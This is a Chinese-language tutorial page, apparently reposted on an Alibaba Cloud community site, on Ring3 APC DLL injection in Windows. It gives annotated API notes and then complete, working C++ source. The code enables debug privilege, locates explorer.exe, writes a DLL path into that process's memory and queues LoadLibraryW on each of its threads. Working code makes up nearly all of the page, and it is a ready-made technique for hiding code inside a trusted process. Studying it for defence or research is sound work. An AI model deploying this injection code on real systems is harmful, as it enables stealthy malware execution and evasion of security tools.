APC注入(Ring3層)

來源:互聯網
上載者:User

標籤:.dll   process   tor   length   地址   bool   imp   release   多個   

/*

步驟:

 


1.提權(GrantDebugPrivileges)
(1)獲得令牌token,OpenThreadToken(),OpenProcessToken ()

WINADVAPI
BOOL
WINAPI
OpenThreadToken(
_In_ HANDLE ThreadHandle,
_In_ DWORD DesiredAccess,
_In_ BOOL OpenAsSelf,
_Outptr_ PHANDLE TokenHandle
);

OpenAsSelf參數

[in]  true 指定應使用調用線程的進程安全上下文執行訪問檢查;
false 指定應使用調用線程本身的安全上下文執行訪問檢查。 
如果線程正在類比用戶端,則此安全上下文可以是一個用戶端進程的安全上下文。

 


WINADVAPI
BOOL
WINAPI
OpenProcessToken(
_In_ HANDLE ProcessHandle,
_In_ DWORD DesiredAccess,
_Outptr_ PHANDLE TokenHandle
);


(2)將較高的權限放到TokenPrivileges結構中

WINADVAPI
BOOL
WINAPI
AdjustTokenPrivileges(
_In_ HANDLE TokenHandle,
_In_ BOOL DisableAllPrivileges, 標誌這個函數是否禁用該令牌的所有特權.如果為TRUE,這個函數禁用所有特權,NewState參數無效.
如果為假,以NewState參數指標的資訊為基礎來修改特權.
_In_opt_ PTOKEN_PRIVILEGES NewState,
_In_ DWORD BufferLength,
_Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState,
_Out_opt_ PDWORD ReturnLength
);


(3)將擷取的令牌TokenHandle與TokenPrivileges結構關聯


2.通過進程ImageName擷取進程ID(GetProcessIDByProcessImageName)
(1)給系統的所有進程快照ProcessSnapshotHandle

函數原型:
HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags, //用來指定“快照”中需要返回的對象,可以是TH32CS_SNAPPROCESS等
DWORD th32ProcessID //一個進程ID號,用來指定要擷取哪一個進程的快照,當擷取系統進程列表或擷取 當前進程快照時可以設為0
);

指定快照中包含的系統內容,dwFlags這個參數能夠使用下列數值(常量)中的一個或多個。
TH32CS_INHERIT - 聲明快照控制代碼是可繼承的。
TH32CS_SNAPALL - 在快照中包含系統中所有的進程和線程。
TH32CS_SNAPHEAPLIST - 在快照中包含在th32ProcessID中指定的進程的所有的堆。
TH32CS_SNAPMODULE - 在快照中包含在th32ProcessID中指定的進程的所有的模組。
TH32CS_SNAPPROCESS - 在快照中包含系統中所有的進程。
TH32CS_SNAPTHREAD - 在快照中包含系統中所有的線程。

#define TH32CS_SNAPHEAPLIST 0x00000001
#define TH32CS_SNAPPROCESS 0x00000002
#define TH32CS_SNAPTHREAD 0x00000004
#define TH32CS_SNAPMODULE 0x00000008
#define TH32CS_SNAPMODULE32 0x00000010
#define TH32CS_SNAPALL (TH32CS_SNAPHEAPLIST | TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD | TH32CS_SNAPMODULE)
#define TH32CS_INHERIT 0x80000000

(2)通過PROCESSENTRY32結構得到ProcessID

PROCESSENTRY32,用來存放快照進程資訊的一個結構體。(存放進程資訊和調用成員輸出進程資訊)
用來 Process32First指向第一個進程資訊,並將進程資訊抽取到PROCESSENTRY32中。
用Process32Next指向下一條進程資訊。

typedef struct tagPROCESSENTRY32
{
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID; // this process
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID; // associated exe
DWORD cntThreads;
DWORD th32ParentProcessID; // this process‘s parent process
LONG pcPriClassBase; // Base priority of process‘s threads
DWORD dwFlags;
CHAR szExeFile[MAX_PATH]; // Path
} PROCESSENTRY32;


process32First,Process32Next是兩個個進程擷取函數,當我們利用函數CreateToolhelp32Snapshot()獲得當前運行進程的快照後,
我們可以利用process32First函數來獲得第一個進程的控制代碼,利用Process32Next函數來獲得下一個進程的控制代碼。

 

3.通過進程ID擷取線程ID(GetThreadIDByProcessID) 觸發異常,分配出實體記憶體

4.注入
(1)在對方進程空間申請記憶體,

LPVOID
WINAPI
VirtualAllocEx(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);

flAllocationType參數設定:MEM_COMMIT | MEM_RESERVE
(如果實體記憶體申請失敗,將保留進程的虛擬位址空間,到真正執行時,會觸發異常,進行實體記憶體分配)

MEM_COMMIT:為特定的頁面地區分配記憶體中或磁碟的分頁檔中的實體儲存體
MEM_RESERVE:保留進程的虛擬位址空間,而不分配任何實體儲存體。保留頁面可通過繼續調用VirtualAlloc()而被佔用


(2)將DllFullPath寫入記憶體當中

WriteProcessMemory()函數能寫入某一進程的記憶體地區。入口區必須可以訪問,否則操作將失敗。

BOOL
WINAPI
WriteProcessMemory(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_reads_bytes_(nSize) LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_opt_ SIZE_T * lpNumberOfBytesWritten
);

(3)載入dll檔案

LoadLibraryWAddress = (UINT_PTR)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
//從當前進程中獲得匯入模組kernel32.dll的基地址,從kernel32.dll模組中的匯出表中獲得函數LoadLibraryW
//目的 1.防止IAT HOOK(ImportAddressTable) 2.確保地址正確(不同虛擬位址映射到同一物理地址)

*/

 

 

#include "stdafx.h"
#include<Windows.h>
#include<ntstatus.h>
#include<iostream>
#include<vector>
#include<TlHelp32.h>

using namespace std;

BOOL GrantPriviledge(IN PWCHAR PriviledgeName);
BOOL GetProcessIDByProcessImageName(IN PWCHAR wzProcessImageName, OUT PUINT32 TargetProcessID);
BOOL GetThreadIDByProcessID(IN UINT32 ProcessID, OUT vector<UINT32>&ThreadIDVector);
BOOL InjectByAPC(IN UINT32 ProcessID,OUT UINT32 ThreadID);

WCHAR DllFullPath[MAX_PATH] = { 0 }; //MAX_PATH 260
PVOID DllFullPathBufferData = NULL;
UINT_PTR LoadLibraryWAddress = 0;

int main()
{
//1.提權

if (GrantPriviledge(SE_DEBUG_NAME) == false)
{
printf("GrantPriviledge Error.\n");
}

//2.Dll路徑
GetCurrentDirectoryW(MAX_PATH, DllFullPath);
//#ifdef _WIN64
wcscat(DllFullPath, L"\\Dll.dll");
//#else
//wcscat(DllFullPath, L"\\Dll.dll");
//#endif
//LoadLibrary(DllFullPath);
//3.擷取進程ID
UINT32 ProcessID = -1; //idol進程ID為0
GetProcessIDByProcessImageName(L"explorer.exe",&ProcessID);

//4.擷取線程ID_Vector
vector<UINT32> ThreadIDVector;
if (GetThreadIDByProcessID(ProcessID,ThreadIDVector) == false)
{
return 0;
}

//5.注入
size_t ThreadCount = ThreadIDVector.size();
for (INT_PTR i = ThreadCount - 1; i >= 0; i--) //INT_PTR
{
UINT32 ThreadID = ThreadIDVector[i];
InjectByAPC(ProcessID,ThreadID);
}

}

BOOL GrantPriviledge(PWCHAR PriviledgeName)
{
TOKEN_PRIVILEGES TokenPrivileges, Oldprivileges;
DWORD dwReturnLength = sizeof(Oldprivileges);
HANDLE TokenHandle = INVALID_HANDLE_VALUE;
LUID uID; //LUID 64位

//開啟許可權令牌
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, false, &TokenHandle))
{
if (GetLastError() != ERROR_NO_TOKEN)
{
return false;
}
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
{
return false;
}
}
//LookupPrivilegeValue()函數查看系統許可權的特權值,返回資訊到一個LUID結構體裡
if (!LookupPrivilegeValue(NULL,PriviledgeName,&uID))
{
CloseHandle(TokenHandle);
return false;
}

TokenPrivileges.PrivilegeCount = 1; //要較高的權限個數
TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
TokenPrivileges.Privileges[0].Luid = uID;

//調整許可權
if (!AdjustTokenPrivileges(TokenHandle, false, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), &Oldprivileges, &dwReturnLength))
{
CloseHandle(TokenHandle);
return false;
}

CloseHandle(TokenHandle);
return true;

}

BOOL GetProcessIDByProcessImageName(IN PWCHAR wzProcessImageName, OUT PUINT32 ProcessID)
{
HANDLE ProcessSnapshotHandle = INVALID_HANDLE_VALUE;
ProcessSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //給系統的所有進程快照
if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE)
{
return false;
}

PROCESSENTRY32 ProcessEntry32 = { 0 };
ProcessEntry32.dwSize = sizeof(PROCESSENTRY32); //初始化PROCESSENTRY32結構

Process32First(ProcessSnapshotHandle, &ProcessEntry32);
do
{
if (lstrcmpi(ProcessEntry32.szExeFile, wzProcessImageName) == 0) //不區分大小寫 雙字
{
*ProcessID = ProcessEntry32.th32ProcessID;
break;
}
} while (Process32Next(ProcessSnapshotHandle, &ProcessEntry32)); //BOOL型傳回值

CloseHandle(ProcessSnapshotHandle);
ProcessSnapshotHandle = INVALID_HANDLE_VALUE;
return true;
}

//枚舉指定進程ID的所有線程,壓入模板中,返回線程樣板集合
BOOL GetThreadIDByProcessID(IN UINT32 ProcessID, OUT vector<UINT32>&ThreadIDVector)
{
HANDLE ThreadSnapshotHandle = INVALID_HANDLE_VALUE;
THREADENTRY32 ThreadEntry32 = { 0 };

ThreadEntry32.dwSize = sizeof(THREADENTRY32);
ThreadSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE)
{
return false;
}

Thread32First(ThreadSnapshotHandle, &ThreadEntry32);
do
{
if (ThreadEntry32.th32OwnerProcessID == ProcessID)
{
ThreadIDVector.emplace_back(ThreadEntry32.th32ThreadID); //將線程ID壓入模板
}
} while (Thread32Next(ThreadSnapshotHandle, &ThreadEntry32));

CloseHandle(ThreadSnapshotHandle);
ThreadSnapshotHandle = NULL;
return true;
}

BOOL InjectByAPC(UINT32 ProcessID, UINT32 ThreadID)
{
HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, false, ProcessID);
HANDLE ThreadHandle = INVALID_HANDLE_VALUE;
SIZE_T DllFullPathLength = (wcslen(DllFullPath) + 1) * 2;
//SIZE_T DllFullPathSize = DllFullPathLength
SIZE_T ReturnLength = 0;
BOOL bOK = false;

//在對方進程空間申請記憶體
if (DllFullPathBufferData == NULL)
{
DllFullPathBufferData = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (DllFullPathBufferData == NULL)
{
CloseHandle(ProcessHandle);
return false;
}
//將DllFullPath寫入記憶體當中
BOOL bOK = WriteProcessMemory(ProcessHandle, DllFullPathBufferData, DllFullPath, (wcslen(DllFullPath) + 1)*2, &ReturnLength);
if (bOK == false)
{
VirtualFree(DllFullPathBufferData, DllFullPathLength,MEM_RELEASE);
CloseHandle(ProcessHandle);
return false;
}
}
//從當前進程中獲得匯入模組kernel32.dll的基地址,從kernel32.dll模組中的匯出表中獲得函數LoadLibraryW
//目的 1.防止IAT HOOK(ImportAddressTable) 2.確保地址正確(不同虛擬位址映射到同一物理地址)
LoadLibraryWAddress = (UINT_PTR)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
if (LoadLibraryWAddress == NULL)
{
VirtualFree(DllFullPathBufferData, DllFullPathLength, MEM_RELEASE);
CloseHandle(ProcessHandle);
return false;
}
__try
{
ThreadHandle = OpenThread(THREAD_ALL_ACCESS, false, ThreadID);
QueueUserAPC((PAPCFUNC)LoadLibraryWAddress, ThreadHandle, (UINT_PTR)DllFullPathBufferData);
//可執行IO?
}
__except(EXCEPTION_CONTINUE_EXECUTION)
{

}
CloseHandle(ProcessHandle);
CloseHandle(ThreadHandle);
return true;
}

APC注入(Ring3層)

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.